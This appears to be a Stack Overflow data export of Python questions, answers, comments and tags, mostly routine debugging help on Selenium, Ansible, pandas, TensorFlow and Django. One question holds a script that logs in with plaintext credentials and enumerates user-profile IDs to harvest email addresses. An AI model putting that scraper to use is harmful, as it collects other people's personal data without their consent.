has body: I have a Python code snippet that uses the Selenium Webdriver to loop through some historical Baseball odds. This first part of the code is intended to get all the individual Game URL's from the schedule table (consisting of around 57 pages that need to be looped) and store them in a list. The first time I tested this it worked just fine - now, for whatever reason, the driver.get() function seems to not be working. What happens is that the webdriver initiates the first .get() method in the pageRange loop (page 2), but after that, in the next iteration of the loop it gets stuck and doesn't navigate to page 3. No error message or crash. Some manual error checking using print() indicates that all other areas of the code are doing fine. What could be the potential reasons for this issue? EDIT 1: The Code actually gets stuck immediately after the first .get() call and not before the second, as stated above. I also noticed that the .get() function works just well later in the code when looping through Game URL's. For some reason it is specifically the "http://www.oddsportal.com/baseball/usa/mlb-2017/results/#/page/2/", ""http://www.oddsportal.com/baseball/usa/mlb-2017/results/#/page/3/", etc, that it gets stuck on. season = str(2017) URL = "http://www.oddsportal.com/baseball/usa/mlb-" + season + "/results/#/" chrome_path = r"C:\Users\dansl110\Dropbox\Betting Project/chromedriver.exe" OddsList = pd.DataFrame(columns=["Date", "HomeTeam", "AwayTeam", "HomeOdds", "AwayOdds", "Accuracy"]) GameURLs = [] StartURL = 2 #Gets GameURLs and EndPage from Page 1 driver = webdriver.Chrome(chrome_path) driver.get(URL) elems = driver.find_elements_by_xpath("//a[@href]") for elem in elems: link = elem.get_attribute("href") if "/results/#/page/" in link: EndURL = int(''.join(c for c in link if c in digits)) elif "/mlb" in link and len(str(link)) &gt; 58 and "results" not in link: GameURLs.append(link) PageRange = range(StartURL, EndURL - 5) #Gets remaining GameURLs for page in PageRange: ol…
upvote count: 10
type: Question
has comment: http://stackoverflow.com/comment/84335405
has answer: http://stackoverflow.com/a/48666954
score: 10
has comment: http://stackoverflow.com/comment/84334570
has title: Python - selenium webdriver stuck at .get() in a loop
answer count: 3
has answer: http://stackoverflow.com/a/48692986
downvote count: 0
possible better answer: http://stackoverflow.com/a/52232900
favorite count: 0
has comment: http://stackoverflow.com/comment/84333747
has answer: http://stackoverflow.com/a/52232900
tagged with: python

http://stackoverflow.com/comment/84465735
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48733062
has text: The queryset with both `any` and `some` definitely exist. Because when I do `Foo.objects.filter(name__type='any').filter(name__type='some')` i get a queryset with several results.

http://stackoverflow.com/comment/84470411
comment on: http://stackoverflow.com/q/48726309
has text: press ctrl+alt+del & choose task manager in windows and make sure "Cassandra" process is shown in the list running process
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84378356
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48656001
has text: do you think running this on an AWS server would help?
score: 0

http://stackoverflow.com/comment/84453838
score: 0
comment on: http://stackoverflow.com/q/48727418
type: Comment
type: QuestionComment
has text: Welcome to SO. Unfortunately this isn't a discussion forum or tutorial service. Please take the time to read [ask] and the other links on that page. You should invest some time working your way through [the Tutorial](https://docs.python.org/3/tutorial/index.html), practicing the examples. It will give you an introduction to the tools Python has to offer and you may even start to get ideas for solving your problem.

http://stackoverflow.com/q/48703650
score: 1
has title: Converting output of Python script to dict in Ansible
tagged with: ansible
linked to: http://stackoverflow.com/q/35605603
upvote count: 1
has body: I have a Python script called test.py which is: #!/usr/bin/python a = "A:2\nB:5" print a Now in my Ansible playbook, I am running this script and registering the output to a variable using this task - name: Create variable from the command command: "python ./test.py" register: command_output I want to convert the output to a dictionary Dict in ansible so that in subsequent tasks I can access values like Dict.A or Dict.B. I tried all the options present here but none are working for me. While implementing the first answer this is my playbook: --- - hosts: localhost gather_facts: no become: yes tasks: - name: Create variable from command command: "python ./test.py" register: command_output - name: set parameter values as fact set_fact: parameter: &gt; "{{ parameter | default({}) | combine ( { item.split(':')[0]: item.split(':')[1] } ) }}" with_items: "{{command_output.stdout_lines}}" - debug: msg: "{{parameter}}" For this, I am getting error: TASK [set parameter values as fact] ************************************************************************************************************************************************************** ok: [localhost] =&gt; (item=A:2) fatal: [localhost]: FAILED! =&gt; {"msg": "|combine expects dictionaries, got u'\"{u\\'A\\': u\\'2\\'}\"\\n'"} For second answer I wrote this script --- - hosts: localhost gather_facts: no become: yes tasks: - name: Create variable from command command: "python ./test.py" register: command_output - name: set parameter values as fact set_fact: parameter: &gt; {{ parameter | default({})| combine( dict([item.partition(':')[::2]|map('trim')]) ) }} with_items: "{{command_output.stdout_lines}}" - debug: msg: "{{parameter.B}}" In this case, I am getting this error fatal: [localhost]: FAILED! =&gt; {"msg": "Unexpected templating type error occurred on (): &lt;lambda&gt;() takes exactly 0 arguments (1 given)"} I am clueless what I can do to convert the output of my …
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48703871
accepted answer: http://stackoverflow.com/a/48703871
tagged with: python
tagged with: dictionary
tagged with: ansible-2.x
type: AnsweredQuestion
downvote count: 0
type: Question

http://stackoverflow.com/comment/84498683
comment on: http://stackoverflow.com/q/48749261
score: 1
has text: *I've run my code through json.loads, and I've got this to work with*: now you just have Python data. You have lists and dictionaries. This isn't really a JSON question, this is just a Python datastructure handling question now.
type: Comment
type: QuestionComment

multithreading
tags question: http://stackoverflow.com/q/48675419
tags question: http://stackoverflow.com/q/48724986
tags question: http://stackoverflow.com/q/48704976
type: Tag
tags question: http://stackoverflow.com/q/48697845
tags question: http://stackoverflow.com/q/48780755
tags question: http://stackoverflow.com/q/48693857
tags question: http://stackoverflow.com/q/48737403
tags question: http://stackoverflow.com/q/48745240
tags question: http://stackoverflow.com/q/48678116
tags question: http://stackoverflow.com/q/48743309
tags question: http://stackoverflow.com/q/48743451
tags question: http://stackoverflow.com/q/48675856
tags question: http://stackoverflow.com/q/48728450
tags question: http://stackoverflow.com/q/48662129
tags question: http://stackoverflow.com/q/48646126
tags question: http://stackoverflow.com/q/48727820
tags question: http://stackoverflow.com/q/48683727
tags question: http://stackoverflow.com/q/48757611
tags question: http://stackoverflow.com/q/48678771
tags question: http://stackoverflow.com/q/48739300
tags question: http://stackoverflow.com/q/48705362
tags question: http://stackoverflow.com/q/48803736
tags question: http://stackoverflow.com/q/48773282
tags question: http://stackoverflow.com/q/48683199
tags question: http://stackoverflow.com/q/48679740
tags question: http://stackoverflow.com/q/48751872
tags question: http://stackoverflow.com/q/48773816
tags question: http://stackoverflow.com/q/48668217
tags question: http://stackoverflow.com/q/48767597
tags question: http://stackoverflow.com/q/48652051
tags question: http://stackoverflow.com/q/48725890
tags question: http://stackoverflow.com/q/48797695
tags question: http://stackoverflow.com/q/48734484
tags question: http://stackoverflow.com/q/48751271
tags question: http://stackoverflow.com/q/48732506
tags question: http://stackoverflow.com/q/48690029
tags question: http://stackoverflow.com/q/48730051
tags question: http://stackoverflow.com/q/48769293
tags question: http://stackoverflow.com/q/48757321
tags question: http://stackoverflow.com/q/48729417
tags question: http://stackoverflow.com/q/48721620
tags question: http://stackoverflow.com/q/48689936
tags question: http://stackoverflow.com/q/48793100
tags question: http://stackoverflow.com/q/48778842
tags question: http://stackoverflow.com/q/48671606
tags question: http://stackoverflow.com/q/48756691
tags question: http://stackoverflow.com/q/48751920
tags question: http://stackoverflow.com/q/48705408
tag name: multithreading
tags question: http://stackoverflow.com/q/48778664
tags question: http://stackoverflow.com/q/48681438
tags question: http://stackoverflow.com/q/48801992

vmd
type: Tag
tag name: vmd
tags question: http://stackoverflow.com/q/48669651

http://stackoverflow.com/comment/84310329
type: QuestionComment
comment on: http://stackoverflow.com/q/48656129
has text: I am not seeing an thing in particularly unusual with the path but I have had to use a raw string in some cases. Try this: `r'C:\Users\a089673\Desktop\lbcsv\csv\server.csv'`
score: 0
type: Comment

http://stackoverflow.com/a/48651404
type: Answer
upvote count: 1
has body: tf.get_variable() ignores the name_scopebut not variable_scope. If you want to obtain 'bar/test', you can try the following: def test(): with tf.variable_scope('bar'): v = tf.get_variable('test', [1], dtype=tf.float32) print(v.name) with tf.name_scope('foo'): test() Refer to this answer for a complete explanation: https://stackoverflow.com/a/37534656/8107620 A workaround would be to set the scope name directly: def test(): tf.get_variable_scope()._name = '' with tf.variable_scope('bar'): v = tf.get_variable('test', [1])
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84301004
answers question: http://stackoverflow.com/q/48650889

http://stackoverflow.com/comment/84499027
type: Comment
has text: Thanks for the corrections, I missed that when I copied the original code. Updated!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48749390

http://stackoverflow.com/comment/84500916
has text: Yes, it's int64. Is that a problem?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48749995

http://stackoverflow.com/a/48733868
has body: From the powershell console itself, you can directly run like this: PS C:\Python27&gt; python C:\Users\pc2\script.py If necessary please edit the PATHTEXT environmental variable in the powershell profile: $env:PATHEXT += ";.py" In the batch also you can put the same command to execute the python. Save the file as something.bat : python C:\Users\pc2\script.py Hope it helps.
has comment: http://stackoverflow.com/comment/84506531
has comment: http://stackoverflow.com/comment/84488467
has comment: http://stackoverflow.com/comment/84470554
score: 0
answers question: http://stackoverflow.com/q/48732937
type: Answer

http://stackoverflow.com/a/48764114
score: 1
answers question: http://stackoverflow.com/q/48763957
has body: You don't need to do anything to achieve this. If you do from lib import doSomething from lib_with_autograd import doSomething as doSomethingAutograd each of those functions uses the numpy imported in their specific module. So doSomethingAutograd uses the one imported in lib_with_autograd and doSomething uses the one imported in lib
has comment: http://stackoverflow.com/comment/84529138
upvote count: 1
has comment: http://stackoverflow.com/comment/84528798
has comment: http://stackoverflow.com/comment/84528851
type: Answer
downvote count: 0

http://stackoverflow.com/comment/84462316
type: Comment
type: QuestionComment
has text: Your 'faster' code would be so much faster if you don't display the points. The calculation itself can be done in memory.
comment on: http://stackoverflow.com/q/48725383
score: 1

http://stackoverflow.com/q/48761464
favorite count: 0
has comment: http://stackoverflow.com/comment/84523808
answer count: 3
linked to: http://stackoverflow.com/q/44912203
tagged with: python
has title: Selenium Web Scraping returns error when Clicking on multiple button on one page
has answer: http://stackoverflow.com/a/48768458
downvote count: 0
has body: Really Need help from this community! When I am attempting to scrape the dynamic content from a travel website, the prices and related vendor info can be obtained only if I click on the "View Prices" button on the website. So I am considering using 'for loop' to click on all the 'View Prices' buttons before I do my scraping using Selenium. The Question is that every single button can be click through browser.find_element_by_xpath().click() , but when I create a list which includes all the button info, an error pops up : Code Block : browser=webdriver.Chrome("C:/Users/Owner/Downloads/chromedriver_win32/chromedriver.exe") url="https://www.cruisecritic.com/cruiseto/cruiseitineraries.cfm?port=122" browser.get(url) #print(browser.find_element_by_css_selector(".has-price.meta-link.show-column").text) ButtonList=[ "//div[@id='find-a-cruise-full-results-container']/div/article/ul/li[3]/span[2]", "//div[@id='find-a-cruise-full-results-container']/div/article[2]/ul/li[3]/span[2]", "//div[@id='find-a-cruise-full-results-container']/div/article[3]/ul/li[3]/span[2]"] for button in ButtonList: browser.implicitly_wait(20) browser.find_element_by_xpath(str(button)).click() Error Stack Trace : WebDriverException: unknown error: Element View All Prices is not clickable at point (862, 12). Other element would receive the click: ... (Session info: chrome=63.0.3239.132) (Driver info: chromedriver=2.35.528161 (5b82f2d2aae0ca24b877009200ced9065a772e73),platform=Windows NT 10.0.16299 x86_64) My question would be How can I click on all the buttons on the web page before scraping, or is there any other way to scrape the dynamic content on a webpage if we have to click on certain button to 'parse' the data into Python. The attached picture is the webpage screenshot. Really appreciate the help from the community!
tagged with: dynamic
type: UnansweredQuestion
tagged with: selenium
tagged with: web-scraping
has answer: http://stackoverflow.com/a/48779636
score: 1
type: Question
upvote count: 1
has answer: http://stackoverflow.com/a/48761647

http://stackoverflow.com/comment/84464326
score: 1
has text: The file will be created inside container filesystem, the directory path you specify you can have it shared between container and host using -v host-dir:container-dir. These runtime arguments should work as well. But going with environment variables would be better for using your docker-file.
type: AnswerComment
comment on: http://stackoverflow.com/a/48732051
type: Comment

http://stackoverflow.com/comment/84454164
type: QuestionComment
score: 0
has text: Try `pd.read_csv('file.txt')`
comment on: http://stackoverflow.com/q/48727598
type: Comment

http://stackoverflow.com/comment/84613673
score: 0
type: Comment
type: QuestionComment
has text: use debugging tools to figure it out there are python modules for debugging performance
comment on: http://stackoverflow.com/q/48803736

http://stackoverflow.com/q/48792491
has comment: http://stackoverflow.com/comment/84591872
upvote count: 0
score: -2
linked to: http://stackoverflow.com/q/374626
linked to: http://stackoverflow.com/q/26332412
linked to: http://stackoverflow.com/q/18035595
answer count: 2
has answer: http://stackoverflow.com/a/48792697
has answer: http://stackoverflow.com/a/48792715
favorite count: 0
has comment: http://stackoverflow.com/comment/84587312
has comment: http://stackoverflow.com/comment/84587532
type: UnansweredQuestion
has title: Python Program that return sublists of a list
tagged with: python
has body: Please I want to design a function that return all possible subset of a list. Here is the code I tried def mylist(list1): for I in list1: print(i)
downvote count: 2
has comment: http://stackoverflow.com/comment/84587249
type: Question

http://stackoverflow.com/q/48712807
duplicate of: http://stackoverflow.com/q/43735034
type: Question
tagged with: numpy
answer count: 3
has answer: http://stackoverflow.com/a/48712954
tagged with: arrays
downvote count: 0
has title: Create ascending numpy arrays that have different starting value
favorite count: 0
has body: I'm sorry for not being able to word it well, I'm sure this has been asked before but I don't know what to search (I would appreciate it if you could let me know how to improve this question before downvoting). This is what I want: array_1 = [0,1,2,3,4,5,6] array_2 = [1,2,3,4,5,6,0] array_3 = [2,3,4,5,6,0,1] ... array_7 = [6,0,1,2,3,4,5] What is the fastest way to create this? The actual array length is around 700 or so.
has answer: http://stackoverflow.com/a/48712860
tagged with: python
type: UnansweredQuestion
upvote count: 1
linked to: http://stackoverflow.com/q/43735034
has answer: http://stackoverflow.com/a/48712893
score: 1

http://stackoverflow.com/comment/84345922
has text: The intent is to only do one operation per call. Maybe you could make a generator out of this, but that would require changing the calling convention.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48673652
type: Comment

http://stackoverflow.com/comment/84565934
has text: Possible duplicate of [Python split string on quotes](https://stackoverflow.com/questions/16603310/python-split-string-on-quotes)
comment on: http://stackoverflow.com/q/48782300
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84295487
has text: I was able to override our "store_production_object" method to set self. Thanks.
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48647953

http://stackoverflow.com/q/48717928
accepted answer: http://stackoverflow.com/a/48718060
score: 0
has comment: http://stackoverflow.com/comment/84434948
tagged with: dweet.io
has comment: http://stackoverflow.com/comment/84435151
tagged with: python
has title: How to print a particular value from dweet?
has comment: http://stackoverflow.com/comment/84434942
type: AnsweredQuestion
has body: I have an output from dweepy as : [{'content': {'mouse_x': 271, 'mouse_y': 285, 'tilt_x': 0, 'tilt_y': 0, 'tilt_z': 82}, 'created': '2018-02-10T06:03:02.680Z', 'thing': 'my_thing_name'}] My input was : dweepy.get_latest_dweet_for('my_thing_name') Question : How to print value of mouse_x value alone from above dweet output ? What i tried was : dweepy.dweet_for('my_thing_name', {'': 'mouse_x'}) which gave me output : {'content': {'': 'mouse_x'}, 'created': '2018-02-10T06:23:20.320Z', 'thing': 'my_thing_name', 'transaction': '6f295639-a667-48ff-bbbf-6dda111333d1'} How can i print value 271 for mouse_x ?
has comment: http://stackoverflow.com/comment/84435162
has answer: http://stackoverflow.com/a/48718060
type: Question
answer count: 1

http://stackoverflow.com/q/48785809
has body: Attempt to use embedding_column in a way: from tensorflow.contrib import layers // output = layers.embedding_column(input, 10, combiner='sum', max_norm=None) result in error message: { File "/usr/local/lib/python2.7/dist-packages/tensorflow/contrib/layers/python/layers/feature_column.py", line 1302, in embedding_column max_norm=max_norm, trainable=trainable) File "/usr/local/lib/python2.7/dist-packages/tensorflow/contrib/layers/python/layers/feature_column.py", line 1046, in new stddev = 1 / math.sqrt(sparse_id_column.length) AttributeError: 'Tensor' object has no attribute 'length' } "input" is a column of integer values. Any ideas how to handle that?
has title: TensorFlow 1.5.0 run with DataLab raise AttributeError: 'Tensor' object has no attribute 'length' while attempting to use embedding_column
tagged with: python
score: 0
has answer: http://stackoverflow.com/a/48961286
tagged with: tensorflow
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84573344
tagged with: google-cloud-datalab
type: Question
accepted answer: http://stackoverflow.com/a/48961286
answer count: 1

http://stackoverflow.com/q/48734538
tagged with: terminal
has comment: http://stackoverflow.com/comment/84468332
tagged with: python
answer count: 0
type: UnansweredQuestion
tagged with: integrated
upvote count: 1
type: Question
has title: when I try to run an open python file in an integrated terminal, I get an "cant find file" error because the path is passed without delimiters(/)
score: 1
tagged with: visual-studio-code
has comment: http://stackoverflow.com/comment/84603629
has body: When I try to run a .py file in VScode w/Python extension, I get error stating it can't find the file name. name has no delimiters such as /. Folder names and file name are run together e.g."C:Folder1Folder2Filename".
downvote count: 0
favorite count: 0

http://stackoverflow.com/a/48772932
answers question: http://stackoverflow.com/q/48772715
downvote count: 1
score: -1
upvote count: 0
has body: import sys def main(): print sys.argv if__name__ == 'main': main() Add the command line argument that you want to the list python hello.py aaa bbb ccc replace aaa bbb ccc with your stuff
type: Answer

http://stackoverflow.com/comment/84398297
has text: Spelling... For* the sets:
comment on: http://stackoverflow.com/q/48673328
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/102701331
type: Comment
comment on: http://stackoverflow.com/a/48875357
has text: @ArunKumar did you stick with SES or give a chance to calls to Google API?
score: 0
type: AnswerComment

http://stackoverflow.com/q/48736239
has title: re.split() vs str.split() in python
has comment: http://stackoverflow.com/comment/84472247
downvote count: 0
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84472243
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48736282
tagged with: python
type: AnsweredQuestion
has body: I have come across this function that is supposed to tokenize a given sentence def basic_tokenizer(sentence): words = [] for space_separated_fragment in sentence.strip().split(): words.extend(re.split(" ", space_separated_fragment)) return [w for w in words if w] as i see it sentence.strip().split() should have been enough but then re.split() is used and then even [w for w in words if w] in the return I wanted to know what could be the reason for this? An example that comes out different through all three would be appreciated
has comment: http://stackoverflow.com/comment/84472273
score: 1
upvote count: 1
type: Question
tagged with: split
accepted answer: http://stackoverflow.com/a/48736282

http://stackoverflow.com/comment/84595382
type: Comment
has text: Among other things, we need to know what you expected as output. Your code appears to do what you told it: replace a single digit with three digits, all of them string characters.
comment on: http://stackoverflow.com/q/48796374
score: 0
type: QuestionComment

http://stackoverflow.com/a/48775916
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48775587
has body: You're looping over the wrong list. To find items in outofstock but not in onorder, loop over outofstock: for part in outofstock: if part not in onorder: print(part) Simpler would be to convert both lists to sets, and compute the difference: print(set(outofstock) - set(onorder))
downvote count: 0

http://stackoverflow.com/comment/84478354
comment on: http://stackoverflow.com/q/48739320
has text: The issue here is not the python syntax, which is not hard to follow. The code snippet you have shown is IMHO an example of how not to write self explaining code : 1. Short and non informative method names 2. Magic numbers 3. Unclear usage of a temporary array
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/84676645
comment on: http://stackoverflow.com/a/48797610
has text: Yes , is working like this
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/84421117
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48702774
has text: When I reduced the batch size from the default 24 to 10, it was terribly slow and was freezing up, but the error still persisted. I have changed the classes to 1 and am using `ssd_mobilenet_v1_pets` config file. I am on a Windows machine with 8gb RAM and i7 2.4Ghz

lab-color-space
tags question: http://stackoverflow.com/q/48715847
tag name: lab-color-space
type: Tag

http://stackoverflow.com/q/48771051
has comment: http://stackoverflow.com/comment/84543329
type: AnsweredQuestion
upvote count: 3
type: Question
score: 3
accepted answer: http://stackoverflow.com/a/48771194
has body: For example if I wanted to change greater than to less than or equal to I have successfully executed: def visit_Gt(self, node): new_node = ast.GtE() return ast.copy_location(new_node, node) How would I visit/detect an assignment operation (=) and a function call () and simply delete them? I'm reading through the AST documentation and I can't find a way to visit the assignment or function call classes and then return nothing. An example of what I'm seeking for assignment operations: print("Start") x = 5 print("End") Becomes: print("Start") print("End") And an example of what I'm seeking for deleting function calls: print("Start") my_function_call(Args) print("End") Becomes print("Start") print("End")
has title: Use AST module to mutate and delete assignment/function calls
tagged with: mutation
has answer: http://stackoverflow.com/a/48771194
tagged with: abstract-syntax-tree
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python

http://stackoverflow.com/a/48692986
has comment: http://stackoverflow.com/comment/84403322
type: Answer
score: 5
type: AcceptedAnswer
upvote count: 5
downvote count: 0
has body: I had this same problem starting today. What I found was any of the machines that I had running versions 64.- of Chrome were having an intermittent hanging issue, but the machines running 63.- were not. go to chrome://settings/help and check which version: If you are running that version. try downloading the Chromedriver version here (2.35): https://sites.google.com/a/chromium.org/chromedriver/downloads I tried this and it seemed to help a little with the hanging, but it still seems to be occurring. The only thing that fixed it is going back to build 63.- for Chrome. Hope it helps you. EDIT: I found this thread that will help! Add this to your script before you create the driver: from selenium import webdriver ChromeOptions = webdriver.ChromeOptions() ChromeOptions.add_argument('--disable-browser-side-navigation') driver = webdriver.Chrome('your/path/to/chromedriver.exe', chrome_options=ChromeOptions) Once Chrome version 65.- comes out, it will be fixed. In the meantime, use the above if you are still on 64.-
accepted answer of: http://stackoverflow.com/q/48666620
answers question: http://stackoverflow.com/q/48666620

http://stackoverflow.com/a/48774269
has comment: http://stackoverflow.com/comment/84550059
has comment: http://stackoverflow.com/comment/84550575
downvote count: 0
has comment: http://stackoverflow.com/comment/84551204
score: 1
has comment: http://stackoverflow.com/comment/84550540
has comment: http://stackoverflow.com/comment/84550208
upvote count: 1
answers question: http://stackoverflow.com/q/48774149
has body: Since you are starting with ordered dict you can just simply use this snippet (Python2.7): from collections import OrderedDict od1 = OrderedDict([(0, 10), (1, 3), (2, 7), (3, 11), (4, 30), (5, 15), (6, 19), (7, 4), (8, 3)]) c = od1.items()[::2] print OrderedDict(c) # OrderedDict([(0, 10), (2, 7), (4, 30), (6, 19), (8, 3)]) For Python 3.6 it is a slightly different: from collections import OrderedDict od1 = OrderedDict([(0, 10), (1, 3), (2, 7), (3, 11), (4, 30), (5, 15), (6, 19), (7, 4), (8, 3)]) c = list(od1.items())[::2] print(OrderedDict(c)) # OrderedDict([(0, 10), (2, 7), (4, 30), (6, 19), (8, 3)])
type: Answer

http://stackoverflow.com/q/48650988
type: AnsweredQuestion
upvote count: 0
tagged with: string
favorite count: 0
type: Question
tagged with: python
score: -2
has comment: http://stackoverflow.com/comment/84300283
downvote count: 2
has answer: http://stackoverflow.com/a/48651190
answer count: 1
has body: import urllib, urllib2, cookielib import re from requests import session nr=85365 username = 'nucred' password = 'steaua123' cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) nr=85365 login_data = urllib.urlencode({'username' : username, 'password' : password}) nrs = urllib.urlencode({'nr' : nr}) opener.open('http://sssssd/takelogin.php', login_data) resp = opener.open('http://ssssssd/userdetails.php?id=', str(nr)) s=resp.read() ss=re.findall(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",s) print ss nr+=1 output: [] i change this: resp = opener.open('http://ssssssd/userdetails.php?id=85365') output: [test@gmail.com] I want while True: nr+=1
tagged with: javascript
has title: Python not find email adress srt
accepted answer: http://stackoverflow.com/a/48651190

http://stackoverflow.com/a/57561142
answers question: http://stackoverflow.com/q/48699733
has body: To display an image in your alexa skill, you can use the Standard card as a method to implement it. https://developer.amazon.com/docs/alexa-voice-service/display-cards-overview.html
score: 0
type: Answer

http://stackoverflow.com/q/48721276
has title: Python requests library and dynamic-data
tagged with: dynamic-data
has comment: http://stackoverflow.com/comment/84458207
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84441428
tagged with: python
has comment: http://stackoverflow.com/comment/84604922
has comment: http://stackoverflow.com/comment/84443031
has comment: http://stackoverflow.com/comment/84441646
tagged with: python-requests
has body: I am using python’s requests library to get html code from some website (script, that allows check the accunt balance – mobile operator). Script try to login into webpage and after validation, receiving the source code of one of subpages. On this subage, script trying to find some values, and after this, printing this values. All functions are executed in the same http session. Unfortunatelly, always in first run, after some time from last executing (~30 min.), this values are not found. In second run, there is no problem (and every next run) – if this code is executed enough often. I checked the source code of subpage, when values are into it, and when values aren't into it. Could you please tell me, how to use requests library with this type of data? What I can do, to receive this values in every execution of script? On diffchecker I upoloaded both html sources https://www.diffchecker.com/dn7ziRjJ Headers are properly configured IMO: self.myheaders = requests.utils.default_headers() self.myheaders.update( { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', } ) self.s = requests.Session()
type: Question
has comment: http://stackoverflow.com/comment/84441674
tagged with: http-headers
score: 0

http://stackoverflow.com/comment/89947007
score: 1
type: Comment
type: QuestionComment
has text: Did you try MergeFrom? I'm curious to learn what worked
comment on: http://stackoverflow.com/q/48672377

http://stackoverflow.com/q/48801176
tagged with: python
has answer: http://stackoverflow.com/a/48801294
has body: Is there a way by which we can search for existing facebook page from a company's name? We can do similar search for twitter which gives us the handler name. I am searching for a way in python where in the user can type any company's name such as "PNC Bank" and the program checks the existence of a facebook page related to the string entered and output its facebook page id ("pncbank" in this case).
upvote count: 1
has title: Finding facebook page handle / id from a string in python
type: Question
score: 1
answer count: 1
downvote count: 0
tagged with: facebook-graph-api
favorite count: 0
type: UnansweredQuestion
tagged with: facebook

qiskit
tags question: http://stackoverflow.com/q/48793050
tag name: qiskit
type: Tag

http://stackoverflow.com/q/48678701
upvote count: 3
type: UnansweredQuestion
has title: Can't figure out why Django isn't saving a model field
tagged with: django
has body: I have some code found elsewhere on SO to get django-rest-auth to work with social login when there is an existing email account: def pre_social_login(self, request, sociallogin): """ Invoked just after a user successfully authenticates via a social provider, but before the login is actually processed (and before the pre_social_login signal is emitted). We're trying to solve different use cases: - social account already exists, just go on - social account has no email or email is unknown, just go on - social account's email exists, link social account to existing user """ # Ignore existing social accounts, just do this stuff for new ones if sociallogin.is_existing: return # some social logins don't have an email address, e.g. facebook accounts # with mobile numbers only, but allauth takes care of this case so just # ignore it if 'email' not in sociallogin.account.extra_data: return # check if given email address already exists. # Note: __iexact is used to ignore cases try: email = sociallogin.account.extra_data['email'].lower() id = sociallogin.account.extra_data['id'] email_address = EmailAddress.objects.get(email__iexact=email) # if it does not, let allauth take care of this new social account except EmailAddress.DoesNotExist: return # if it does, connect this new social login to the existing user user = email_address.user profile = Profile.objects.get(email__iexact=email) url = "http://graph.facebook.com/{}/picture?type=normal".format(id) profile.media_url = url profile.save() # suppose to persist to db, but isn't!!! sociallogin.connect(request, user) In the last few lines there before connecting the accounts, I get the profile pic of the FB account and try to save it to the database. For the life of me, I can't understand why it won't save the url. If I do the same commands using django shell, it saves with no problem. The media_url field is a URLField if that helps.
type: Question
score: 3
has comment: http://stackoverflow.com/comment/84391386
linked to: http://stackoverflow.com/q/4375784
downvote count: 0
has comment: http://stackoverflow.com/comment/84354819
has comment: http://stackoverflow.com/comment/84354810
favorite count: 0
has comment: http://stackoverflow.com/comment/84354790
tagged with: python
answer count: 0

http://stackoverflow.com/a/48667571
has body: The solution that I found was this, substitute all strings at the same time renaming the previous text. for k, v in d.iteritems(): tree = string.replace(tree, k, v) print tree
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48653461
score: 0
accepted answer of: http://stackoverflow.com/q/48653461

http://stackoverflow.com/comment/84572970
score: 0
comment on: http://stackoverflow.com/q/48777490
type: Comment
type: QuestionComment
has text: What is the real reason you need to use `CreateAPIView` and `UpdateAPIView`? Why not `ListCreateAPIView` and `RetrieveUpdateDestroyAPIView`? Or why not just going straight forward to viewsets? What are your particular requirements?

http://stackoverflow.com/comment/84430912
score: 0
has text: yes its the same result
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48715330

http://stackoverflow.com/q/48793091
upvote count: 1
has title: Pandas read_excel
type: Question
has answer: http://stackoverflow.com/a/48794332
answer count: 2
has comment: http://stackoverflow.com/comment/84588326
tagged with: pandas
downvote count: 0
has body: I struggled for a few hours how to read an excel file with pd.read_excel where the path is a website address. I figured out that the link doesn't go directly to the file but just triggers downloading. Is there any easy way to solve it? Part of code: link_energy = 'http://unstats.un.org/unsd/environment/excel_file_tables/2013/Energy%20Indicators.xls' df_energy = pd.read_excel(link_energy) Error message: XLRDError: Unsupported format, or corrupt file: Expected BOF record; found b'\n\n\n&lt;!DOC' Probably it's not a problem of pandas but my lack of skills how do do it.
favorite count: 0
has comment: http://stackoverflow.com/comment/84588558
has answer: http://stackoverflow.com/a/48795281
has comment: http://stackoverflow.com/comment/84590303
has comment: http://stackoverflow.com/comment/84592356
tagged with: python
has comment: http://stackoverflow.com/comment/84590336
type: UnansweredQuestion
score: 1

http://stackoverflow.com/comment/84338003
score: 0
type: Comment
type: QuestionComment
has text: Probably, this is due to a bug in the `pyglet` module. What OS are you using? You may need to talk to the module authors directly. If you can't get it to work, I recommend [Panda3d](https://www.panda3d.org/). It's well supported, and has a lot of documentation.
comment on: http://stackoverflow.com/q/48653620

http://stackoverflow.com/comment/84413510
has text: Sure this works now but it's essentially the same thing as my answer. I think _"trying to extract city,state"_ was pretty clear.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48679427

http://stackoverflow.com/comment/84586820
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/48791977
has text: @PatrickArtner I think the OP means they will have multiple types of robots to justify the base class.

http://stackoverflow.com/comment/84443263
has text: Is there any workaround for catching name assignments of the current script to call a method when it happens on a particular name?
comment on: http://stackoverflow.com/a/48722160
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84401989
type: Comment
type: QuestionComment
has text: Instead of giving me downvotes for no reason, actually tell me why you did it
comment on: http://stackoverflow.com/q/48695008
score: 0

http://stackoverflow.com/comment/84519014
